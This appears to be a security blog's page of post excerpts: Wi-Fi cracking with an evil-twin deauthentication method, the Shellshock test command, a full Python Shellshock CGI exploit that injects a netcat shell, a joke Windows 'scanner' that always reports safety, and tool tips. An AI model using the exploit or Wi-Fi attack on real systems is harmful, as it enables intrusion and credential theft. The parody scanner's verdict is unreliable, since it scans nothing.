MUO – MakeUseOf: Is Microsoft Defender the Best Antivirus for Your PC in 2021?

MUO – MakeUseOf: Is Microsoft Defender the Best Antivirus for Your PC in 2021?. https://www.makeuseof.com/is-microsoft-defender-the-best-antivirus-for-your-pc-in-2021/

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McAfee Free Tools

McAfee is committed to your security and provides an assortment of free McAfee tools to help in your software development. Simply select a tool and download it for free. For more details, read the McAfee Software Free Tools   A lot’s and mostly useful to the extreme. Nice one guys!   https://www.mcafee.com/uk/downloads/free-tools/index.aspx

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Crack WI-FI methods

Depends on the encryption of the wifi. If it’s WEP, then its generally fairly easy to crack using Aircrack-ng. However, WPA/WPA2 two will need to be forced with the following methods, these are just a few to keep in mind: -The evil twin method: Launch a DOS (via De-auth requests) against one of the registered computers on the targeted wifi network, forcing the user to be disconnected. From there, set up your own little honeypot with the same ESSID & BSSID as the other wifi network and try to effectively trick the person to try logging in to your connection. …

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Getting the Local Traffic Report

It can be problematic and lead to headaches – and possibly even hair loss (your follicles may vary) – if you need to capture local network traffic (sent to your own device or PC) as many tools (even the venerable WireShark) aren’t very helpful with that scenario. However, there is a way to do it using two free tools, namely RawCap and the aforementioned WireShark. Once you know how, it’s (almost) as easy as pie — that is, eating a pie, such as an apple pie – not memorizing 3.14….etc) First, download RawCap here Next (provided you don’t already have …

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Snow Leopard bash vulnerability

Snow Leopard is vulnerable and am told more recent versions are too. The patch for Linux issued today didn’t fix it completely, so there will be another patch tomorrow. execute the following: env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” Apparently, the proper behaviour is: bash: warning: x: ignoring function definition attempt On Snow Leopard, I get the vulnerable and this is a test outputted in separate lines. Apparently, this enables remote arbritrary command execution. UPDATE: apparently, the vulnerability has to do with any bash script that is triggered as a result of some internet …

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CVE-2014-6271 cgi-bin reverse shell (shellshock)

# #CVE-2014-6271 cgi-bin reverse shell # import httplib,urllib,sys if (len(sys.argv)<3):         print “Usage: %s <host> <vulnerable CGI>” % sys.argv[0]         print “Example: %s localhost /cgi-bin/test.cgi” % sys.argv[0]         exit(0) conn = httplib.HTTPConnection(sys.argv[1]) reverse_shell=“() { ignored;};/bin/bash -c ‘/bin/rm -f /tmp/f; /usr/bin/mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f’” headers = {“Content-type”: “application/x-www-form-urlencoded”,         “test”:reverse_shell } conn.request(“GET”,sys.argv[2],headers=headers) res = conn.getresponse() print res.status, res.reason data = res.read() print data

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ShellShock CVE-2014-6271

SETLOCAL ENABLEDELAYEDEXPANSION @echo off cls REM Windows ShellShock Vulnerability CVE-2014-6271 Scanner REM Version 1u0 <Initial release> REM 2014-09-25 REM By Taylor Swift (taylorswift -at- swiftonsecurity.com) title Windows ShellShock Vulnerability Scanner echo. echo =============== echo  Windows ShellShock Vulnerability CVE-2014-6271 Scanner echo    by Taylor Swift echo =============== echo. echo. echo PLEASE WAIT, SCANNING. ping localhost -n 5 >nul dir /s “%WINDIR%system32” | find “shell” cls echo. echo. echo SCAN COMPLETE! echo LOADING RESULTS… ping localhost -n 5 >nul echo. echo. echo Your machine is not vulnerable to ShellShock CVE-2014-6271! echo. echo. pause exit

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Secunia PSI – Scan outdated programs

I do not normally advertise other companies. However merit is due. This Secunia PSI is a free kit able to scan your PC and detect outdated software it scans software on your system and identifies programs in need of security updates to safeguard your PC against intrusions on your machine. It then supplies your computer with the necessary software security updates to keep it safe. The Secunia PSI even automates the updates for your insecure programs, making it a lot easier for you to maintain a secure PC. Using a scanner like Secunia PSI 3.0 is complementary to antivirus software, …

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